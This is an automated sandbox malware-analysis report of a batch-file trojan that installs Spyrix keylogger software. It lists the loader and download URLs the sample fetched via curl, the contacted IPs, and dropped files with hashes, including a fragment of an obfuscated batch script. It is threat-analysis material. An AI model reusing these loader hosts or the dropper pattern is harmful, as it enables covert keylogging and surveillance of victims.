http://repository.certum.pl/l3.cer0	[space]= .tmp, 00000013.00000003.2564952480.00000000033C8000.00000004.00001000.00020000.00000000.sdmp, [space]= .tmp, 00000013.00000003.2052440387.00000000032E1000.00000004.00001000.00020000.00000000.sdmp	false
https://api.dropbox.com/1/fileops/create_folder	spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
http://html4/loose.dtd	qrl.exe, qrl.exe, 00000043.00000000.2678705476.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000045.00000002.2757157897.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000047.00000002.2746063564.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	false
http://www.founder.com.cn/cn/bThe	[space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	false
http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU	[space]= .exe, 00000012.00000000.2048720751.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	false
https://spyrix.net/dashboard/prg-actionsv	spkl.exe, 00000035.00000003.2871385145.0000000001925000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2958710472.0000000001910000.00000004.00000020.00020000.00000000.sdmp	false
https://spyrix.net/dashboard/prg-actionsuu/	qrl.exe, 0000004A.00000002.2768430811.000000000155C000.00000004.00000020.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfkf	regedit.exe, 00000032.00000002.2534356479.0000000003770000.00000004.00000020.00020000.00000000.sdmp	false
http://neftali.clubdelphi.com/	spkl.exe, 00000035.00000003.2555270269.00000000044E1000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2933829318.0000000000929000.00000040.00000001.01000000.00000014.sdmp, spmm.exe, 00000049.00000000.2715567872.00000000005EA000.00000002.00000001.01000000.00000018.sdmp	false
http://.css	qrl.exe, 00000043.00000000.2678705476.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000045.00000002.2757157897.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000047.00000002.2746063564.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	false
https://filedn.com	[space]= .exe, 00000006.00000002.1984705669.0000000002DD0000.00000004.00000800.00020000.00000000.sdmp	false
https://api.dropbox.com/1/fileops/copy?	spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://spyrix.net/dashboard/prg-actionsuu7	qrl.exe, 00000045.00000002.2767714695.0000000001C5C000.00000004.00000020.00020000.00000000.sdmp, qrl.exe, 00000045.00000003.2745075392.0000000001C5A000.00000004.00000020.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfko	spkl.exe, 00000035.00000002.2961326350.00000000033B0000.00000004.00000020.00020000.00000000.sdmp	false
http://www.typography.netD	[space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfkff	regedit.exe, 00000032.00000002.2534356479.0000000003770000.00000004.00000020.00020000.00000000.sdmp	false
https://dashboard.actualkeylogger.com	spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
http://vk.com/search	spkl.exe, 00000035.00000003.2616085181.0000000007810000.00000004.00000800.00020000.00000000.sdmp	false
http://vk.com/searchecp	spkl.exe, 00000035.00000002.2980946676.0000000006BBA000.00000004.00001000.00020000.00000000.sdmp	false
http://www.actualkeylogger.com/buynow.html	spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeLOCALAPPDL	[space]= .tmp, 00000013.00000002.2581949502.0000000005460000.00000004.00000020.00020000.00000000.sdmp	false
http://www.fonts.com	[space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	false
http://www.sandoll.co.kr	[space]= .exe, 00000006.00000002.1985853291.0000000006F22000.00000004.00000800.00020000.00000000.sdmp	false
https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404k	curl.exe, 00000005.00000002.1700541419.000001295C1A8000.00000004.00000020.00020000.00000000.sdmp	false
http://.jpg	qrl.exe, qrl.exe, 00000043.00000000.2678705476.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000045.00000002.2757157897.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp, qrl.exe, 00000047.00000002.2746063564.0000000000FA2000.00000002.00000001.01000000.00000017.sdmp	false
https://api.dropbox.com/1/fileops/move	spkl.exe, spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://swtb-download.spy	[space]= .tmp, 00000013.00000002.2581949502.0000000005460000.00000004.00000020.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe7	[space]= .tmp, 00000013.00000002.2578906847.0000000000708000.00000004.00000020.00020000.00000000.sdmp	false
http://www.actualkeylogger.com/help.htmlhttp://spyrix.com/manual.phpU	spkl.exe, 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, spkl.exe, 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	false
https://spyrix.net/dashboard/prg-actionsers	qrl.exe, 00000047.00000002.2757133303.0000000001450000.00000004.00000020.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe.	[space]= .tmp, 00000013.00000002.2578906847.0000000000708000.00000004.00000020.00020000.00000000.sdmp	false
https://cdnbaynet.com/loader/link.php?prg_id=sfkX0	curl.exe, 0000000C.00000002.1788647034.00000000032C9000.00000004.00000020.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe4	wscript.exe, 00000036.00000002.2553718613.0000000003448000.00000004.00000020.00020000.00000000.sdmp	false
https://securcdn.com/loader/link.php?prg_id=sfkupowershell.exe	curl.exe, 00000005.00000003.1699852631.000001295C21F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1699926974.000001295C1C3000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1700101956.000001295C21F000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.1700234054.000001295C21F000.00000004.00000020.00020000.00000000.sdmp	false
https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exeF	curl.exe, 0000000D.00000002.2046191187.0000000002ED9000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
167.114.14.168	swtb-download.spyrix-sfk.com	Canada	16276	OVHFR	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
158.69.117.119	spyrix.net	Canada	16276	OVHFR	false
167.114.14.170	cdnbaynet.com	Canada	16276	OVHFR	false
95.181.182.182	cl-e0469d03.edgecdn.ru	Russian Federation	200557	REGION40RU	false
23.109.93.100	filedn.com	Netherlands	7979	SERVERS-COMUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523865
Start date and time:	2024-10-02 06:09:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	90
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	c5WMpr1cOc.bat renamed because original name is a hash value
Original Sample Name:	201ba880456a79f7af54cb4aa5e9c008d8a1961e686acbac7b2f1343e697b7a9.bat
Detection:	MAL
Classification:	mal100.troj.evad.winBAT@190/1078@15/9
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .bat

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 199.232.214.172, 192.229.221.95, 142.250.184.227, 142.250.186.78, 74.125.133.84, 34.104.35.123, 142.250.184.232, 142.250.185.72, 142.250.186.106, 172.217.18.106, 142.250.186.42, 142.250.186.74, 172.217.16.202, 172.217.23.106, 142.250.186.170, 172.217.16.138, 142.250.185.74, 172.217.18.10, 142.250.185.106, 142.250.185.170, 216.58.206.74, 216.58.206.42, 142.250.185.138, 142.250.186.138
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, www.googletagmanager.com, e16604.g.akamaiedge.net, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target qrl.exe, PID 7588 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:09:55	API Interceptor	149x Sleep call for process: powershell.exe modified
00:10:00	API Interceptor	2x Sleep call for process: svchost.exe modified
00:10:23	API Interceptor	17x Sleep call for process: [space]= .exe modified
00:10:38	API Interceptor	2x Sleep call for process: WMIC.exe modified
00:11:27	API Interceptor	1x Sleep call for process: spkl.exe modified

LLM Input / Output

Input	Output
URL: https://dashboard.spyrix.com/login Model: jbxai	{ "brand":[], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Login", "text_input_field_labels":["Email", "Password"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://dashboard.spyrix.com/login Model: jbxai	{ "phishing_score":null, "brands":"unknown", "legit_domain":null, "classification":null, "reasons":null, "brand_matches":[], "url_match":false}

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073129995814268
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrT:KooCEYhgYEL0In
MD5:	25426B7AE30C92B53D9A93B57A4854FD
SHA1:	B9F0393166FEF77BA6F5F9BE5C084F6625E4B61B
SHA-256:	4D45E25BD22C2BF8969A9E47B79263E10A0278124C6A6225BB36D5A78F369507
SHA-512:	FBF74FD1E8F50394317C240622A367E50513A39CBA925DEE2D33DAC244DC12BE3F4C380C1AA8D7CBE607C7BADAB70754B52E6DDE9C8CFD3B15F85C3B703D9649
Malicious:	false
Reputation:	unknown
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x6c0fd194, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4220861757446679
Encrypted:	false
SSDEEP:	1536:ZSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Zaza/vMUM2Uvz7DO
MD5:	E1E85CF83A865ABFB8EF09A2246C3580
SHA1:	8FD7CF1FDA927E3AAB286040AC85F0E8773CE835
SHA-256:	9A6680CAE992B6B87A2C0325C0452BFFB06C71F996E6B7AE16E78BFD0B0B8F17
SHA-512:	8FC74C51C7F7D12CA023B5FE48BC90314A73831BE3AFAF53EB4506584A0356703F018E14367EF26B0D1B0384FA5A182B7308B939F273C45EFE144EDBC22FC75E
Malicious:	false
Reputation:	unknown
Preview:	l..... .......A.......X\...;...{......................0.!..........{A......\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................b].....\|....................,......\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07431992120806621
Encrypted:	false
SSDEEP:	3:Pg8YeS5BKhrCjn13a/dhx8hvollcVO/lnlZMxZNQl:Pg8zQ8hW53q2hQOewk
MD5:	20E39E740EF0EC85DF28B613CD732E37
SHA1:	6D4A14B01C53E92147B245D5CD7A8CB67DD5033D
SHA-256:	B9E4414B29BA9F6B78E6907C4BC51A5E5CF32F75AA0B20885E0E4269E728713C
SHA-512:	F0B2A29C219069E80182ED30B066C5625EE4092CC3A4E4CD8C296B06EB1DF66C0A6AF662F6A91D42413E103F8EBECCB63ECF85E4F8C74CBC58EBCF11D92CDF6C
Malicious:	false
Reputation:	unknown
Preview:	.E.......................................;...{.......\|.......{A..............{A......{A..........{A]..................,......\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\WebBrowser.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	457728
Entropy (8bit):	6.59955980299879
Encrypted:	false
SSDEEP:	12288:oYP3U+DowYPZOobyfwOgM2evuRTQ8r5e:3knwGZO4ZBevgTQ
MD5:	5E952525D9379E001F1714DE9E87B50D
SHA1:	45A1F15E62D3BEBF80BFDE69B992448DA09369FA
SHA-256:	81DE9F4EE9164358163C7F2200522E5C518D649ED6868CC6F27DB2B831F42DA4
SHA-512:	FCCEFD5CEFA59AAE1CCF1DF61907720BFB753AA1A6094DCB9225BA0110172103980C77708B9BB36F9D329B890ECC3F279AEE325A780308E9AC127EDC99CF8D0D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 3%, Browse
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B..................................... ....@..............................................................................(...0...L.......................e......................................................\............................text............................... ..`.itext.............................. ..`.data...T.... ......................@....bss.....5...@...........................idata...(.........................@....edata...............H..............@..@.reloc...e.......f...J..............@..B.rsrc....L...0...L..................@..@....................................@..@........................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\cfg.cmd (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5329
Entropy (8bit):	5.379707763753434
Encrypted:	false
SSDEEP:	96:nsPCuKyBy4PRWZSx84GmqUIa+zHBZclQmmUc6EYQZCh1t64R8vVIa2akG2T:xuVr5WExXG6UvUmUbrQIvtO9INakGc
MD5:	CD2AC50D3746B1A9663C4D2BF7EA4D55
SHA1:	909F5CFEB390B67FEFC6CD1786760FEBDBB2B875
SHA-256:	F9C158AEFD53582E68F7417E6326620AE4FDE859EE6D02B263EEA838A2C6F136
SHA-512:	E47073C412A92325DA84516358B43CC855B67FA6E44D092005143B35EA021B72BF8607B619F179706E3B66332A24EEB3910E1AF69076D29527C60DFF9EFF8A5F
Malicious:	false
Reputation:	unknown
Preview:	rem kezd4t79qxno0lbfeql5y0mu8g6iesyetjcseogfwt472kiwiubb15brfmh2wac96vhv0vnd2020j6zevgvnwwpffvshcpj0zglw700radviz4u8q9aq6k9n..@echo off..rem 000stm4gugwjkgbh428m90yr2..rem ce1k7rdsfo832vwc3jaouwf6whuhamo859077bf249yhqvmg1kd492xy1n0laxcjqawev0lgwfar618zidzyfwk96n90dum9le1hlxjvxajsku4sr3uiuy0..rem dsawc47q7b7rg3lyyyjwoquee0ll0ap5r0099bt1715bh4jezmssc1nm4xfnyr40tu10yayd38i6wla70zmf5096xpoyd018bdbpms0ennjdswzri1jyzqel..setlocal enabledelayedexpansion..rem 2e6crit365pi9pdx3kzzixkz0bxvti57alc..rem tbd2b125fv5tqy0wwb0v1woi0mnrpd6l8..rem 6g5up6bf14gd8ckrvtcxni6x4495olhkrlg706b9nszf6urghw484qcu0hf29s7vhqna1o5uloku3qzxd8591ivyo0idphj1jw9y22y0fjgsjtjodo855g0r..set iniFile=%ProgramData%\%prg_id%\temp\logger.ini..rem rrje26b6rkhrhihlujks437km32ntyjjtcvi63..rem 5qn9uxfpef8xq5039f88vk9umpfl9dj9r7apxc..rem ioq4mok81bx2zs3knaunm2b4mcsjotkyq0rwnmtauk20e7hftlruhy0eoxwbq17088ic70epr0ikd4ns0o03tu98y18pwfn2vxzg4rpi4bn3em187jjj6y1o..set getValue=0..rem 0h5hrq1blurny0ai0ueen0k8mw0cgjlrjajonp24yq2pewj7tdwn9c2e

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24
Entropy (8bit):	4.084962500721156
Encrypted:	false
SSDEEP:	3:sLvovFN/tQZn:EItK
MD5:	70C758B45D366FDD5BA4F0D0D1088B94
SHA1:	CD0CBB3DF6F011B41B24F8E1CA805469F234F044
SHA-256:	DCF52739862C4FBF4B4C04F470F9F62B46E308E9E5FA87CDFAD1DC66E753DF16
SHA-512:	5AF2BFE2166E3578D3BADA9738CD0C769B2F5A2B9E84B812C7193E3A88163B32B94EB36DE83347A8E7DC75079608102C0CF05293E647132C0F633F67AAECC446
Malicious:	false
Reputation:	unknown
Preview:	timeout 6..dashboard.url

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.url (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows 95 Internet shortcut text (URL=<"https://dashboard.spyrix.com">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	54
Entropy (8bit):	4.722027548259444
Encrypted:	false
SSDEEP:	3:HRAbABGQYmjzPK/tWwMdyTHn:HRYFVmjzPAt0dyTH
MD5:	D1CA0FE113AE79394ECFA5225B06D03A
SHA1:	2EFEB00BC64706B390FA188776A423DD871AE842
SHA-256:	A9A52C2A16DAB18ED9E869CAE2F486327040572461E05FB8F774DC543A82CD45
SHA-512:	BFDE031A1C39770EEAF27F0874B01C99BCA6D3EAB2D55B9FABFD28CAD2EF6D56387510548DFCA3F575D7341B16B05961C00083E19AB33A07A84343B257CB385A
Malicious:	false
Reputation:	unknown
Preview:	[InternetShortcut]..URL="https://dashboard.spyrix.com"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Discord.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	5.954587575587282
Encrypted:	false
SSDEEP:	24:mcyV2d56miiGbKZFG8cZWvl24pZYEYmFMQ05lOo4TTTTTTTTTT3:mcJDbGua8cZOlBUEYA906o4TTTTTTTTX
MD5:	A6AF58DFDF7BCB6AE474DC731AEB0819
SHA1:	353D993129D8C0060BDAFF6B32DACCD1D91F37DE
SHA-256:	62B935FEE25DC4480962834A3AC9B21E285C75FA25EB8BF5288BE4EAEEA8F118
SHA-512:	21259178D3D551E232C63B89DA9F2613F0CB0FF6D4D33A150DDAF6DED6795E277845359ADF228BE2741639838F78DFA56554E0D26A77091BC09361ED18611330
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ....................................................................~e.....r=/..G8.............................................t@3..........bL..fOb.............lZx.ta..s`..t`..o\..kY..lY..lX..mX.\L>.eP..pX..iRX.........r`D.m..o..m..\|g..yg..yg..zf..zd..u_..oZ..v_..rZ..jTZ.........}j\.r...j...m..v..q`..o]..o\..q]..p..v`..pY..t]..lV[..........p[.q....................................rZ..q\[.........s[.u..........................................r[..r][.........x[.w..............se..........q`..............q[..r^[.........}[.x.......................................mX..wc[..........[.~........................................t^..yd[..........[........................................k..}g..ua[..........[.............................i..~i..uaZ..........Z................v..r..u..o..m..n..~i..vcY..........$......................y..w..s..n..k.zg$.............&..Z..W..X..X..X.~X.zX.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Discord.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	865
Entropy (8bit):	7.700995430791155
Encrypted:	false
SSDEEP:	24:gYFXmor3S32jSx6mJYuknx/vNdapyefgQP71YZbHYG:bXm3SwV12x/vPapyCf710bHYG
MD5:	781F31C7BDF09937698ABFE875672A7B
SHA1:	9ED7E05BAB393E6D09DF2C6B8970805F088586B4
SHA-256:	A48944491AD937CA359AE2F8C57070CF69DC58B6F363F8E66B8C2EBE9F8DFB9A
SHA-512:	B7810E56C63EDB096670841C28A70DF441F82741D16439D2CDA39AA3BBB65711379383FE089887DCA8005168F0B7C5B351CF8552DCD6DD4C4FC47D10D9261690
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a...(IDATx..ilLQ...}....m..%..........!.A.5>..H?...^..PK..,.KJ\|..B,...Z.h......3..w.u..WN&..{....Y......D.x`..l..a...!D2.(..I..z.z......@).(.K. .K.m..)R'>H..R..7.mX.....XZY...b\...'....-[.p@x.......#.o........G..).4.Pm.p..I......w..fL..d<..t.9.PR.P....fK...4...3.... ..$v.I..hk79...DL..5...(..@..i..p}f/....6..U.c!iq.......9..Q ...(....H.4r..y>.....(X.....Q...b).'....b..a.c.'..E{..L...q.>~L.6....k.a....0.kM0'.......Z.Q..."Z..KA..{..A#:.7.6(..\|...U..`e.......l\>...../:xYu.........rWW..jA..#..O..!#..ia.8...c...Y..!........eSR..%wtBCF...>kb........f..:.0......M\.m.o..".Qco...E...?\|:i.....U._..L.."Q....q.`ILU...)\80=.X..fJ8..M...(..p.6......'...x......8F......8...R.O.O.RZ(...F.wK@..S.....?k...\a..._>4.<...e#'l .7.53.....Y..jk..8.....3.dK..1.....B..p.9......-.-F.[...2C.n.~../V...$iB....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Facebook Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	3.5511716867819327
Encrypted:	false
SSDEEP:	24:BifyRHHHHHHHHHHHlKDAYHQhY4O4ZYwg7iTT5:wfyHHHHHHHHHHHgDAMQhY4O4ZYwg7iT1
MD5:	F311592151DC7F196CDBC8AF6D426B28
SHA1:	159C11940E4F380F62D56AD12745600EDBEF1E15
SHA-256:	03290429CE68AFD7507C177C9446EFBCC47CFD040DECA70105988D0057919317
SHA-512:	A3259406480C89E73B408DBFDA00B8CBE5F2B168A1C46F6FE73A228B167CDC532FFBB315BD027B130634B8A248F488BD2ADA22CA5A45DF2AD3E728D3FA5DA832
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ..................................l.(.l...l...m.?.m.`.m.\|.k.y.k.].o...............................r.A.q...q...q...q...q...q...q...q...q...o.7.....................u...u...u...u...u...u...u...u...u...u...u...u.o.............y.a.z...z...z...z...z...z...z...z...z...z...z...z...z.^.........~...~...~...~...~...~...~...~...~...~...~...~...~...~.........\|..........m.......................3........................\|..............x.......9.......'.............................................................................8...................................8.............................................................................'.......9.......x.......................................8.......................m................H...........................................................G..........................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Facebook Messenger.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	524
Entropy (8bit):	7.51499904676362
Encrypted:	false
SSDEEP:	12:6v/725PQZeziVpf6wu0rWQ6Rfcho1S01oS77Qtytds:zJQYgB6wnrWQ6ih0WSQtyns
MD5:	6A3D971DD10943973AD7CFF8776678EE
SHA1:	1FC9EA38435DBA93A64B9E48C7A3CCDED3D92333
SHA-256:	EDB59D1E30DEACB83DCCB9CA2D7F83FC52066CAFC7A8E0A633B9B0DD01CDA360
SHA-512:	B5C8C60578504EDD4EDDF7C5A9CC17BA3D04773CA200D5A8189D22C06BAA9081382F6D3FE076771F385AF7DAC51196AC4BFEFF1852A5E16BBF9AE6D1599FFE0E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....IDATx..OHTQ...w.p.".DP........$Z$.ZD......FB.A`.`.%r.b.....E.T.....I.h!R..B(*2....o.hP3..y....q.w.u....xH.S^..}'.B......q..nY1K\Q....qW.......D.se......67......,...r.8.[......L..-....n...[....3..K.....N.q.q.f.n.$....k`..DGaf....Z3..<0...u..w%.A.^...Y....p.-.U.t...p...s.E).....:.[T.a.&(..'S......B..B.%u...T=....w..{....{..T........t..^...U.u....pbm.l...G....8.8c..EgT............R..G.w..-t...,......a.....]......t...]2.!....=..7...W.......X.......7.#.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Line.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	2.89668669623498
Encrypted:	false
SSDEEP:	12:dDWdAyhFGViosMZNrBK5aTeiVIrSXgXdaguWUl:hxyTGVihMPBK52edrSXgtbUl
MD5:	2102DF54739C5E5FFEDDA31CE18A430E
SHA1:	B62D93ED6661FE4E0080D7CD575D0F81E8640D9B
SHA-256:	2DFDE998FEAC91E72BFDCDDF174000539C525233D4E3EA4744BD08EF70E6C9C0
SHA-512:	654F18D0C0F4309A8C559E4E0CB2D4497AABE9D9D5BDC51EA100CAF0455FC26702E0AA8390B3D7113CD7F752391B9A3283491B5A1623E0060F302EF2A816B7ED
Malicious:	false
Reputation:	unknown
Preview:	............ .h.......(....... ..... ............................"...........................................................".......................................................................................................................................................................................................................@.@.............9.9.............................................................................................................................................................................................................................................................................................................................................................................................................................H.H.........................................I.I.....................^.^.................................^.^.......................................................!.!...........................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Line.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.403940932243279
Encrypted:	false
SSDEEP:	12:6v/7H2DBCOIXU00QhP+CCTV44lVCcK8ajSR64+eg:C2MXURCCTCXcK8286Heg
MD5:	49CBAB461388899937D45CE5F40FEA6F
SHA1:	4333CFB198B2F8078D38159AE6F37CF2056AC6A9
